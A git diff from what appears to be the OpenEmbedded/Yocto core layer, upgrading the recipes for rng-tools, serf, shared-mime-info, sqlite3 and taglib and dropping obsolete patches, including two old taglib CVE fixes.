index 0000000000..f0aa3ff93f
--- /dev/null
+++ b/meta/recipes-support/rng-tools/rng-tools_6.16.bb
@@ -0,0 +1,69 @@
+SUMMARY = "Random number generator daemon"
+DESCRIPTION = "Check and feed random data from hardware device to kernel"
+HOMEPAGE = "https://github.com/nhorman/rng-tools"
+BUGTRACKER = "https://github.com/nhorman/rng-tools/issues"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+DEPENDS = "openssl libcap"
+
+SRC_URI = "git://github.com/nhorman/rng-tools.git;branch=master;protocol=https \
+ file://init \
+ file://default \
+ file://rng-tools.service \
+ "
+SRCREV = "e061c313b95890eb5fa0ada0cd6eec619dafdfe2"
+
+S = "${WORKDIR}/git"
+
+inherit autotools update-rc.d systemd pkgconfig
+
+EXTRA_OECONF = "--without-rtlsdr"
+
+PACKAGECONFIG ??= "libjitterentropy"
+PACKAGECONFIG:libc-musl = "libargp libjitterentropy"
+
+PACKAGECONFIG[libargp] = "--with-libargp,--without-libargp,argp-standalone,"
+PACKAGECONFIG[libjitterentropy] = "--enable-jitterentropy,--disable-jitterentropy,libjitterentropy"
+PACKAGECONFIG[libp11] = "--with-pkcs11,--without-pkcs11,libp11 openssl"
+PACKAGECONFIG[nistbeacon] = "--with-nistbeacon,--without-nistbeacon,curl libxml2"
+PACKAGECONFIG[qrypt] = "--with-qrypt,--without-qrypt,curl"
+
+INITSCRIPT_PACKAGES = "${PN}-service"
+INITSCRIPT_NAME:${PN}-service = "rng-tools"
+INITSCRIPT_PARAMS:${PN}-service = "start 03 2 3 4 5 . stop 30 0 6 1 ."
+
+SYSTEMD_PACKAGES = "${PN}-service"
+SYSTEMD_SERVICE:${PN}-service = "rng-tools.service"
+
+CFLAGS += " -DJENT_CONF_ENABLE_INTERNAL_TIMER "
+
+PACKAGES =+ "${PN}-service"
+
+FILES:${PN}-service += " \
+ ${sysconfdir}/init.d/rng-tools \
+ ${sysconfdir}/default/rng-tools \
+"
+
+# Refer autogen.sh in rng-tools
+do_configure:prepend() {
+ cp ${S}/README.md ${S}/README
+}
+
+do_install:append() {
+ install -Dm 0644 ${WORKDIR}/default ${D}${sysconfdir}/default/rng-tools
+ install -Dm 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/rng-tools
+ install -Dm 0644 ${WORKDIR}/rng-tools.service \
+ ${D}${systemd_system_unitdir}/rng-tools.service
+ sed -i \
+ -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${sysconfdir}/init.d/rng-tools \
+ ${D}${systemd_system_unitdir}/rng-tools.service
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'nistbeacon', 'yes', 'no', d)}" = "yes" ]; then
+ sed -i \
+ -e '/^IPAddressDeny=any/d' \
+ -e '/^RestrictAddressFamilies=/ s/$/ AF_INET AF_INET6/' \
+ ${D}${systemd_system_unitdir}/rng-tools.service
+ fi
+}
diff --git a/meta/recipes-support/serf/serf/0001-Fix-syntax-of-a-print-in-the-scons-file-to-unbreak-b.patch b/meta/recipes-support/serf/serf/0001-Fix-syntax-of-a-print-in-the-scons-file-to-unbreak-b.patch
deleted file mode 100644
index 4a5832ac1a..0000000000
--- a/meta/recipes-support/serf/serf/0001-Fix-syntax-of-a-print-in-the-scons-file-to-unbreak-b.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From 99f6e1b0d68281b63218d6adfe68cd9e331ac5be Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 3 Sep 2018 10:50:08 -0700
-Subject: [PATCH] Fix syntax of a print() in the scons file to unbreak building
- with most recent scons version.
-
-* SConstruct Use Python 3.0 valid syntax to make Scons 3.0.0 happy on both python
- 3.0 and 2.7.
-
-Upstream-Status: Backport
-[https://svn.apache.org/viewvc/serf/trunk/SConstruct?r1=1809132&r2=1811083&diff_format=h]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- SConstruct | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/SConstruct b/SConstruct
-index 1670459..18a45fa 100644
---- a/SConstruct
-+++ b/SConstruct
-@@ -184,7 +184,7 @@ CALLOUT_OKAY = not (env.GetOption('clean') or env.GetOption('help'))
-
- unknown = opts.UnknownVariables()
- if unknown:
-- print 'Warning: Used unknown variables:', ', '.join(unknown.keys())
-+ print('Warning: Used unknown variables:', ', '.join(unknown.keys()))
-
- apr = str(env['APR'])
- apu = str(env['APU'])
diff --git a/meta/recipes-support/serf/serf/0004-Follow-up-to-r1811083-fix-building-with-scons-3.0.0-.patch b/meta/recipes-support/serf/serf/0004-Follow-up-to-r1811083-fix-building-with-scons-3.0.0-.patch
deleted file mode 100644
index 02fa9e3a06..0000000000
--- a/meta/recipes-support/serf/serf/0004-Follow-up-to-r1811083-fix-building-with-scons-3.0.0-.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From 565211fd082ef653ca9c44a345350fc1451f5a0f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 3 Sep 2018 11:12:38 -0700
-Subject: [PATCH] Follow-up to r1811083 fix building with scons 3.0.0 and
- Python3
-
-* SConstruct: Append decode('utf-8) to FILE.get_contents() to avoid
- TypeError: cannot use a string pattern on a bytes-like object
-
-Upstream-Status: Backport
-[https://svn.apache.org/viewvc/serf/trunk/SConstruct?r1=1811088&r2=1814604]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- SConstruct | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/SConstruct b/SConstruct
-index 877731e..7678bb1 100644
---- a/SConstruct
-+++ b/SConstruct
-@@ -169,7 +169,7 @@ env.Append(BUILDERS = {
- match = re.search('SERF_MAJOR_VERSION ([0-9]+).*'
- 'SERF_MINOR_VERSION ([0-9]+).*'
- 'SERF_PATCH_VERSION ([0-9]+)',
-- env.File('serf.h').get_contents(),
-+ env.File('serf.h').get_contents().decode('utf-8'),
- re.DOTALL)
- MAJOR, MINOR, PATCH = [int(x) for x in match.groups()]
- env.Append(MAJOR=str(MAJOR))
diff --git a/meta/recipes-support/serf/serf_1.3.10.bb b/meta/recipes-support/serf/serf_1.3.10.bb
new file mode 100644
index 0000000000..c6b51452aa
--- /dev/null
+++ b/meta/recipes-support/serf/serf_1.3.10.bb
@@ -0,0 +1,40 @@
+SUMMARY = "High-Performance Asynchronous HTTP Client Library"
+DESCRIPTION = "The Apache Serf library is a C-based HTTP client library built upon the Apache \
+Portable Runtime (APR) library. It multiplexes connections, running the \
+read/write communication asynchronously. Memory copies and transformations are \
+kept to a minimum to provide high performance operation."
+HOMEPAGE = "http://serf.apache.org/"
+SRC_URI = "${APACHE_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://norpath.patch \
+ file://env.patch \
+ file://0002-SConstruct-Fix-path-quoting-for-.def-generator.patch \
+ file://0003-gen_def.patch \
+ file://SConstruct.stop.creating.directories.without.sandbox-install.prefix.patch \
+ "
+
+SRC_URI[sha256sum] = "be81ef08baa2516ecda76a77adf7def7bc3227eeb578b9a33b45f7b41dc064e6"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=86d3f3a95c324c9479bd8986968f4327"
+
+inherit scons
+
+DEPENDS += " openssl apr apr-util util-linux expat"
+
+EXTRA_OESCONS = " \
+ LIBDIR=${libdir} \
+ --install-sandbox=${D} \
+ CC="${CC}" \
+ CFLAGS="${CFLAGS}" \
+ LINKFLAGS="${LDFLAGS}" \
+ APR=`which apr-1-config` \
+ APU=`which apu-1-config` \
+ OPENSSL="${STAGING_EXECPREFIXDIR}" \
+ "
+
+# scons creates non-reproducible archives
+do_install:append() {
+ rm ${D}/${libdir}/*.a
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/serf/serf_1.3.9.bb b/meta/recipes-support/serf/serf_1.3.9.bb
deleted file mode 100644
index 6a27f12102..0000000000
--- a/meta/recipes-support/serf/serf_1.3.9.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "High-Performance Asynchronous HTTP Client Library"
-SRC_URI = "${APACHE_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://norpath.patch \
- file://env.patch \
- file://0001-Fix-syntax-of-a-print-in-the-scons-file-to-unbreak-b.patch \
- file://0002-SConstruct-Fix-path-quoting-for-.def-generator.patch \
- file://0003-gen_def.patch \
- file://0004-Follow-up-to-r1811083-fix-building-with-scons-3.0.0-.patch \
- file://SConstruct.stop.creating.directories.without.sandbox-install.prefix.patch \
- "
-
-SRC_URI[md5sum] = "370a6340ff20366ab088012cd13f2b57"
-SRC_URI[sha256sum] = "549c2d21c577a8a9c0450facb5cca809f26591f048e466552240947bdf7a87cc"
-
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=86d3f3a95c324c9479bd8986968f4327"
-
-inherit scons
-
-DEPENDS += " openssl apr apr-util util-linux expat"
-
-EXTRA_OESCONS = " \
- LIBDIR=${libdir} \
- --install-sandbox=${D} \
- CC="${CC}" \
- CFLAGS="${CFLAGS}" \
- LINKFLAGS="${LDFLAGS}" \
- APR=`which apr-1-config` \
- APU=`which apu-1-config` \
- OPENSSL="${STAGING_EXECPREFIXDIR}" \
- "
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/shared-mime-info/shared-mime-info/0001-Fix-build-with-libxml2-2.12.0-and-clang-17.patch b/meta/recipes-support/shared-mime-info/shared-mime-info/0001-Fix-build-with-libxml2-2.12.0-and-clang-17.patch
new file mode 100644
index 0000000000..936f72ccf8
--- /dev/null
+++ b/meta/recipes-support/shared-mime-info/shared-mime-info/0001-Fix-build-with-libxml2-2.12.0-and-clang-17.patch
@@ -0,0 +1,26 @@
+From 665383306c725f299a1b373f947cda01949d49e4 Mon Sep 17 00:00:00 2001
+From: David Faure <faure@kde.org>
+Date: Sun, 19 Nov 2023 11:18:11 +0100
+Subject: [PATCH] Fix build with libxml2-2.12.0 and clang-17
+
+Fixes #219
+
+Upstream-Status: Backport [https://gitlab.freedesktop.org/xdg/shared-mime-info/-/commit/c918fe77e255150938e83a6aec259f153d303573]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/test-subclassing.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/test-subclassing.c b/src/test-subclassing.c
+index dd099e4..0758164 100644
+--- a/src/test-subclassing.c
++++ b/src/test-subclassing.c
+@@ -1,4 +1,5 @@
+ #include <libxml/tree.h>
++#include <libxml/parser.h>
+ #include <stdio.h>
+ #include <string.h>
+
+--
+2.43.0
+
diff --git a/meta/recipes-support/shared-mime-info/shared-mime-info/0002-Handle-build-with-older-versions-of-GCC.patch b/meta/recipes-support/shared-mime-info/shared-mime-info/0002-Handle-build-with-older-versions-of-GCC.patch
new file mode 100644
index 0000000000..2af6b461b6
--- /dev/null
+++ b/meta/recipes-support/shared-mime-info/shared-mime-info/0002-Handle-build-with-older-versions-of-GCC.patch
@@ -0,0 +1,54 @@
+From 461d00fcd5c5842b9a56f7462d55d46bf21163cc Mon Sep 17 00:00:00 2001
+From: Patrick Williams <patrick@stwcx.xyz>
+Date: Fri, 1 Dec 2023 11:19:02 -0600
+Subject: [PATCH] Handle build with older versions of GCC
+
+Older versions of GCC (prior to 9.1) did not put the `std::filesystem`
+support directly into libstdcpp, but in a separate `libstdc++fs`. Add
+meson logic to detect if an extra linker flag is necessary.
+
+Fixes #223.
+
+Tested on AlmaLinux 8 which uses GCC-8.
+
+Signed-off-by: Patrick Williams <patrick@stwcx.xyz>
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/xdg/shared-mime-info/-/merge_requests/278]
+---
+ meson.build | 14 ++++++++++++++
+ 1 file changed, 14 insertions(+)
+
+diff --git a/meson.build b/meson.build
+index ecc012f..93acd40 100644
+--- a/meson.build
++++ b/meson.build
+@@ -11,6 +11,7 @@ config = configuration_data()
+ i18n = import('i18n')
+
+ cc = meson.get_compiler('c')
++cxx = meson.get_compiler('cpp')
+
+ ###############################################################################
+ # Project configuration
+@@ -46,6 +47,19 @@ if not xdgmime_found
+ ''')
+ endif
+
++###############################################################################
++# Check if GCC needs -lstdc++fs (before 9.1)
++
++if not cxx.links('''
++ #include <filesystem>
++ int main() {
++ return std::filesystem::is_directory(
++ std::filesystem::status("/tmp")) ? 0 : 1;
++ }
++ ''', name: 'std++fs-check')
++ add_project_link_arguments('-lstdc++fs', language : 'cpp')
++endif
++
+ ###############################################################################
+ # Dependencies
+
+--
+2.41.0
+
diff --git a/meta/recipes-support/shared-mime-info/shared-mime-info_2.4.bb b/meta/recipes-support/shared-mime-info/shared-mime-info_2.4.bb
new file mode 100644
index 0000000000..ef5df44ad6
--- /dev/null
+++ b/meta/recipes-support/shared-mime-info/shared-mime-info_2.4.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Shared MIME type database and specification"
+DESCRIPTION = "The shared-mime-info package contains the core database of common types."
+HOMEPAGE = "http://freedesktop.org/wiki/Software/shared-mime-info"
+SECTION = "base"
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+DEPENDS = "libxml2 itstool-native glib-2.0 shared-mime-info-native xmlto-native"
+
+SRC_URI = "git://gitlab.freedesktop.org/xdg/shared-mime-info.git;protocol=https;branch=master \
+ file://0001-Fix-build-with-libxml2-2.12.0-and-clang-17.patch \
+ file://0002-Handle-build-with-older-versions-of-GCC.patch"
+SRCREV = "9a6d6b8e963935f145f3a1ef446552de6996dada"
+
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig gettext python3native mime
+
+EXTRA_OEMESON = "-Dupdate-mimedb=true"
+
+FILES:${PN} += "${datadir}/mime"
+FILES:${PN}-dev += "${datadir}/pkgconfig/shared-mime-info.pc ${datadir}/gettext/its"
+
+# freedesktop.org.xml is only required when updating the mime database,
+# package it separately
+PACKAGES =+ "shared-mime-info-data"
+FILES:shared-mime-info-data = "${datadir}/mime/packages/freedesktop.org.xml"
+RDEPENDS:shared-mime-info-data = "shared-mime-info"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/shared-mime-info/shared-mime-info_git.bb b/meta/recipes-support/shared-mime-info/shared-mime-info_git.bb
deleted file mode 100644
index e82c818e5c..0000000000
--- a/meta/recipes-support/shared-mime-info/shared-mime-info_git.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "Shared MIME type database and specification"
-HOMEPAGE = "http://freedesktop.org/wiki/Software/shared-mime-info"
-SECTION = "base"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-DEPENDS = "libxml2 itstool-native glib-2.0 shared-mime-info-native xmlto-native"
-
-SRC_URI = "git://gitlab.freedesktop.org/xdg/shared-mime-info.git;protocol=https"
-SRCREV = "ef58b2b2f7ad4070171c6e45e3b3764daa3ff2c1"
-PV = "2.0"
-S = "${WORKDIR}/git"
-
-inherit meson pkgconfig gettext python3native mime
-
-EXTRA_OEMESON = "-Dupdate-mimedb=true"
-
-FILES_${PN} += "${datadir}/mime"
-FILES_${PN}-dev += "${datadir}/pkgconfig/shared-mime-info.pc ${datadir}/gettext/its"
-
-# freedesktop.org.xml is only required when updating the mime database,
-# package it separately
-PACKAGES =+ "shared-mime-info-data"
-FILES_shared-mime-info-data = "${datadir}/mime/packages/freedesktop.org.xml"
-RDEPENDS_shared-mime-info-data = "shared-mime-info"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/sqlite/sqlite3.inc b/meta/recipes-support/sqlite/sqlite3.inc
index 07614bdb3e..9a0de08553 100644
--- a/meta/recipes-support/sqlite/sqlite3.inc
+++ b/meta/recipes-support/sqlite/sqlite3.inc
@@ -1,4 +1,5 @@
SUMMARY = "Embeddable SQL database engine"
+DESCRIPTION = "A library that implements a small, fast, self-contained, high-reliability, full-featured, SQL database engine. SQLite is the most used database engine in the world. SQLite is built into all mobile phones and most computers and comes bundled inside countless other applications that people use every day"
HOMEPAGE = "http://www.sqlite.org"
SECTION = "libs"
@@ -22,15 +23,14 @@ CVE_PRODUCT = "sqlite"
inherit autotools pkgconfig siteinfo
# enable those which are enabled by default in configure
-PACKAGECONFIG ?= "fts4 fts5 json1 rtree dyn_ext"
-PACKAGECONFIG_class-native ?= "fts4 fts5 json1 rtree dyn_ext"
+PACKAGECONFIG ?= "fts4 fts5 rtree dyn_ext"
+PACKAGECONFIG:class-native ?= "fts4 fts5 rtree dyn_ext"
PACKAGECONFIG[editline] = "--enable-editline,--disable-editline,libedit"
PACKAGECONFIG[readline] = "--enable-readline,--disable-readline,readline ncurses"
PACKAGECONFIG[fts3] = "--enable-fts3,--disable-fts3"
PACKAGECONFIG[fts4] = "--enable-fts4,--disable-fts4"
PACKAGECONFIG[fts5] = "--enable-fts5,--disable-fts5"
-PACKAGECONFIG[json1] = "--enable-json1,--disable-json1"
PACKAGECONFIG[rtree] = "--enable-rtree,--disable-rtree"
PACKAGECONFIG[session] = "--enable-session,--disable-session"
PACKAGECONFIG[dyn_ext] = "--enable-dynamic-extensions,--disable-dynamic-extensions"
@@ -45,23 +45,23 @@ EXTRA_OECONF = " \
"
# pread() is in POSIX.1-2001 so any reasonable system must surely support it
-CFLAGS_append = " -DUSE_PREAD"
+CFLAGS:append = " -DUSE_PREAD"
# Provide column meta-data API
-CFLAGS_append = " -DSQLITE_ENABLE_COLUMN_METADATA"
+CFLAGS:append = " -DSQLITE_ENABLE_COLUMN_METADATA"
# Unless SQLITE_BYTEORDER is predefined, the code falls back to build time
# huristics, which are not always correct
-CFLAGS_append = " ${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'le', '-DSQLITE_BYTEORDER=1234', '-DSQLITE_BYTEORDER=4321', d)}"
+CFLAGS:append = " ${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'le', '-DSQLITE_BYTEORDER=1234', '-DSQLITE_BYTEORDER=4321', d)}"
PACKAGES = "lib${BPN} lib${BPN}-dev lib${BPN}-doc ${PN}-dbg lib${BPN}-staticdev ${PN}"
-FILES_${PN} = "${bindir}/*"
-FILES_lib${BPN} = "${libdir}/*.so.*"
-FILES_lib${BPN}-dev = "${libdir}/*.la ${libdir}/*.so \
+FILES:${PN} = "${bindir}/*"
+FILES:lib${BPN} = "${libdir}/*.so.*"
+FILES:lib${BPN}-dev = "${libdir}/*.la ${libdir}/*.so \
${libdir}/pkgconfig ${includedir}"
-FILES_lib${BPN}-doc = "${docdir} ${mandir} ${infodir}"
-FILES_lib${BPN}-staticdev = "${libdir}/lib*.a"
+FILES:lib${BPN}-doc = "${docdir} ${mandir} ${infodir}"
+FILES:lib${BPN}-staticdev = "${libdir}/lib*.a"
AUTO_LIBNAME_PKGS = "${MLPREFIX}lib${BPN}"
diff --git a/meta/recipes-support/sqlite/sqlite3_3.32.3.bb b/meta/recipes-support/sqlite/sqlite3_3.32.3.bb
deleted file mode 100644
index 1d4e8d4772..0000000000
--- a/meta/recipes-support/sqlite/sqlite3_3.32.3.bb
+++ /dev/null
@@ -1,11 +0,0 @@
-require sqlite3.inc
-
-LICENSE = "PD"
-LIC_FILES_CHKSUM = "file://sqlite3.h;endline=11;md5=786d3dc581eff03f4fd9e4a77ed00c66"
-
-SRC_URI = "http://www.sqlite.org/2020/sqlite-autoconf-${SQLITE_PV}.tar.gz"
-SRC_URI[md5sum] = "2e3911a3c15e85c2f2d040154bbe5ce3"
-SRC_URI[sha256sum] = "a31507123c1c2e3a210afec19525fd7b5bb1e19a6a34ae5b998fbd7302568b66"
-
-# -19242 is only an issue in specific development branch commits
-CVE_CHECK_WHITELIST += "CVE-2019-19242"
diff --git a/meta/recipes-support/sqlite/sqlite3_3.45.1.bb b/meta/recipes-support/sqlite/sqlite3_3.45.1.bb
new file mode 100644
index 0000000000..50612feb25
--- /dev/null
+++ b/meta/recipes-support/sqlite/sqlite3_3.45.1.bb
@@ -0,0 +1,8 @@
+require sqlite3.inc
+
+LICENSE = "PD"
+LIC_FILES_CHKSUM = "file://sqlite3.h;endline=11;md5=786d3dc581eff03f4fd9e4a77ed00c66"
+
+SRC_URI = "http://www.sqlite.org/2024/sqlite-autoconf-${SQLITE_PV}.tar.gz"
+SRC_URI[sha256sum] = "cd9c27841b7a5932c9897651e20b86c701dd740556989b01ca596fcfa3d49a0a"
+
diff --git a/meta/recipes-support/taglib/taglib/CVE-2017-12678.patch b/meta/recipes-support/taglib/taglib/CVE-2017-12678.patch
deleted file mode 100644
index 4bd9f2be17..0000000000
--- a/meta/recipes-support/taglib/taglib/CVE-2017-12678.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From eb9ded1206f18f2c319157337edea2533a40bea6 Mon Sep 17 00:00:00 2001
-From: "Stephen F. Booth" <me@sbooth.org>
-Date: Sun, 23 Jul 2017 10:11:09 -0400
-Subject: [PATCH] Don't assume TDRC is an instance of TextIdentificationFrame
-
-If TDRC is encrypted, FrameFactory::createFrame() returns UnknownFrame
-which causes problems in rebuildAggregateFrames() when it is assumed
-that TDRC is a TextIdentificationFrame
-
-Upstream-Status: Backport
-[https://github.com/taglib/taglib/pull/831/commits/eb9ded1206f18f2c319157337edea2533a40bea6]
-
-CVE: CVE-2017-12678
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- taglib/mpeg/id3v2/id3v2framefactory.cpp | 5 +++--
- 1 file changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/taglib/mpeg/id3v2/id3v2framefactory.cpp b/taglib/mpeg/id3v2/id3v2framefactory.cpp
-index 759a9b7b..9347ab86 100644
---- a/taglib/mpeg/id3v2/id3v2framefactory.cpp
-+++ b/taglib/mpeg/id3v2/id3v2framefactory.cpp
-@@ -334,10 +334,11 @@ void FrameFactory::rebuildAggregateFrames(ID3v2::Tag *tag) const
- tag->frameList("TDAT").size() == 1)
- {
- TextIdentificationFrame *tdrc =
-- static_cast<TextIdentificationFrame *>(tag->frameList("TDRC").front());
-+ dynamic_cast<TextIdentificationFrame *>(tag->frameList("TDRC").front());
- UnknownFrame *tdat = static_cast<UnknownFrame *>(tag->frameList("TDAT").front());
-
-- if(tdrc->fieldList().size() == 1 &&
-+ if(tdrc &&
-+ tdrc->fieldList().size() == 1 &&
- tdrc->fieldList().front().size() == 4 &&
- tdat->data().size() >= 5)
- {
---
-2.13.5
-
diff --git a/meta/recipes-support/taglib/taglib/CVE-2018-11439.patch b/meta/recipes-support/taglib/taglib/CVE-2018-11439.patch
deleted file mode 100644
index cdd66e67f7..0000000000
--- a/meta/recipes-support/taglib/taglib/CVE-2018-11439.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 272648ccfcccae30e002ccf34a22e075dd477278 Mon Sep 17 00:00:00 2001
-From: Scott Gayou <github.scott@gmail.com>
-Date: Mon, 4 Jun 2018 11:34:36 -0400
-Subject: [PATCH] Fixed OOB read when loading invalid ogg flac file. (#868)
-
-This CVE is caused by a failure to check the minimum length
-of a ogg flac header. This header is detailed in full at:
-https://xiph.org/flac/ogg_mapping.html. Added more strict checking
-for entire header.
-
-Upstream-Status: Backport
-[https://github.com/taglib/taglib/pull/869/commits/272648ccfcccae30e002ccf34a22e075dd477278]
-
-CVE: CVE-2018-11439
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- taglib/ogg/flac/oggflacfile.cpp | 14 ++++++++++++--
- 1 file changed, 12 insertions(+), 2 deletions(-)
-
-diff --git a/taglib/ogg/flac/oggflacfile.cpp b/taglib/ogg/flac/oggflacfile.cpp
-index 53d0450..07ea9dc 100644
---- a/taglib/ogg/flac/oggflacfile.cpp
-+++ b/taglib/ogg/flac/oggflacfile.cpp
-@@ -231,11 +231,21 @@ void Ogg::FLAC::File::scan()
-
- if(!metadataHeader.startsWith("fLaC")) {
- // FLAC 1.1.2+
-+ // See https://xiph.org/flac/ogg_mapping.html for the header specification.
-+ if(metadataHeader.size() < 13)
-+ return;
-+
-+ if(metadataHeader[0] != 0x7f)
-+ return;
-+
- if(metadataHeader.mid(1, 4) != "FLAC")
- return;
-
-- if(metadataHeader[5] != 1)
-- return; // not version 1
-+ if(metadataHeader[5] != 1 && metadataHeader[6] != 0)
-+ return; // not version 1.0
-+
-+ if(metadataHeader.mid(9, 4) != "fLaC")
-+ return;
-
- metadataHeader = metadataHeader.mid(13);
- }
---
-2.7.4
-
diff --git a/meta/recipes-support/taglib/taglib_1.11.1.bb b/meta/recipes-support/taglib/taglib_1.11.1.bb
deleted file mode 100644
index f4e288295d..0000000000
--- a/meta/recipes-support/taglib/taglib_1.11.1.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Library for reading and editing the meta-data of popular audio formats"
-SECTION = "libs/multimedia"
-HOMEPAGE = "http://taglib.github.io/"
-LICENSE = "LGPLv2.1 | MPL-1.1"
-LIC_FILES_CHKSUM = "file://COPYING.LGPL;md5=4fbd65380cdd255951079008b364516c \
- file://COPYING.MPL;md5=bfe1f75d606912a4111c90743d6c7325 \
- file://taglib/audioproperties.h;beginline=1;endline=24;md5=9df2c7399519b7310568a7c55042ecee"
-
-DEPENDS = "zlib"
-
-SRC_URI = "http://taglib.github.io/releases/${BP}.tar.gz \
- file://CVE-2017-12678.patch \
- file://CVE-2018-11439.patch \
- "
-
-SRC_URI[md5sum] = "cee7be0ccfc892fa433d6c837df9522a"
-SRC_URI[sha256sum] = "b6d1a5a610aae6ff39d93de5efd0fdc787aa9e9dc1e7026fa4c961b26563526b"
-
-UPSTREAM_CHECK_URI = "http://github.com/taglib/taglib/releases/"
-
-BINCONFIG = "${bindir}/taglib-config"
-
-inherit cmake pkgconfig binconfig-disabled
-
-PACKAGES =+ "${PN}-c"
-FILES_${PN}-c = "${libdir}/libtag_c.so.*"
-
-EXTRA_OECMAKE = "-DBUILD_SHARED_LIBS=ON \
- -DCMAKE_DISABLE_FIND_PACKAGE_Boost=TRUE \
- -DHAVE_BOOST_BYTESWAP=FALSE \
- -DCMAKE_CXX_STANDARD=11 \
- -DCMAKE_CXX_STANDARD_REQUIRED=OFF \
- -DLIB_SUFFIX=${@d.getVar('baselib').replace('lib', '')} \
-"
-CXXFLAGS += "-std=c++11"
-
-do_configure_prepend () {
- rm -f ${S}/admin/ltmain.sh
- rm -f ${S}/admin/libtool.m4.in
-}
-
-# without -fPIC depending packages failed with many error like:
-# | <...>/ld: error: <...>/usr/lib/libtag.a(modfilebase.cpp.o): requires unsupported dynamic reloc R_ARM_THM_MOVW_ABS_NC; recompile with -fPIC
-CXXFLAGS += "-fPIC"
diff --git a/meta/recipes-support/taglib/taglib_2.0.bb b/meta/recipes-support/taglib/taglib_2.0.bb
new file mode 100644
index 0000000000..4bf9be15ae
--- /dev/null
+++ b/meta/recipes-support/taglib/taglib_2.0.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Library for reading and editing the meta-data of popular audio formats"
+DESCRIPTION = "Platform-independent library (tested on Windows/Linux) for reading and writing metadata in media files, including video, audio, and photo formats. This is a convenient one-stop-shop to present or tag all your media collection, regardless of which format/container these might use. You can read/write the standard or more common tags/properties of a media, or you can also create and retrieve your own custom tags."
+SECTION = "libs/multimedia"
+HOMEPAGE = "http://taglib.github.io/"
+LICENSE = "LGPL-2.1-only | MPL-1.1"
+LIC_FILES_CHKSUM = "file://COPYING.LGPL;md5=4fbd65380cdd255951079008b364516c \
+ file://COPYING.MPL;md5=bfe1f75d606912a4111c90743d6c7325 \
+ file://taglib/audioproperties.h;beginline=1;endline=24;md5=9df2c7399519b7310568a7c55042ecee"
+
+DEPENDS = "zlib utfcpp"
+
+SRC_URI = "http://taglib.github.io/releases/${BP}.tar.gz"
+
+SRC_URI[sha256sum] = "e36ea877a6370810b97d84cf8f72b1e4ed205149ab3ac8232d44c850f38a2859"
+
+UPSTREAM_CHECK_URI = "https://taglib.org/"
+UPSTREAM_CHECK_REGEX = "taglib-(?P<pver>\d+(\.\d+)+)\.tar"
+
+BINCONFIG = "${bindir}/taglib-config"
+
+inherit cmake pkgconfig binconfig-disabled
+
+PACKAGES =+ "${PN}-c"
+FILES:${PN}-c = "${libdir}/libtag_c.so.*"
+
+EXTRA_OECMAKE = "-DBUILD_SHARED_LIBS=ON \
+ -DCMAKE_DISABLE_FIND_PACKAGE_Boost=TRUE \
+ -DHAVE_BOOST_BYTESWAP=FALSE \
+ -DCMAKE_CXX_STANDARD=11 \
+ -DCMAKE_CXX_STANDARD_REQUIRED=OFF \
+ -DLIB_SUFFIX=${@d.getVar('baselib').replace('lib', '')} \
+"
+CXXFLAGS += "-std=c++11"
+
+do_configure:prepend () {
+ rm -f ${S}/admin/ltmain.sh
+ rm -f ${S}/admin/libtool.m4.in
+}
+
+# without -fPIC depending packages failed with many error like:
+# | <...>/ld: error: <...>/usr/lib/libtag.a(modfilebase.cpp.o): requires unsupported dynamic reloc R_ARM_THM_MOVW_ABS_NC; recompile with -fPIC
+CXXFLAGS += "-fPIC"
diff --git a/meta/recipes-support/user-creation/xuser-account_0.1.bb b/meta/recipes-support/user-creation/xuser-account_0.1.bb
index 81817d1e25..639b01f6eb 100644
--- a/meta/recipes-support/user-creation/xuser-account_0.1.bb
+++ b/meta/recipes-support/user-creation/xuser-account_0.1.bb
@@ -18,11 +18,11 @@ do_install() {
install -D -m 0644 ${WORKDIR}/system-xuser.conf ${D}${sysconfdir}/dbus-1/system.d/system-xuser.conf
}
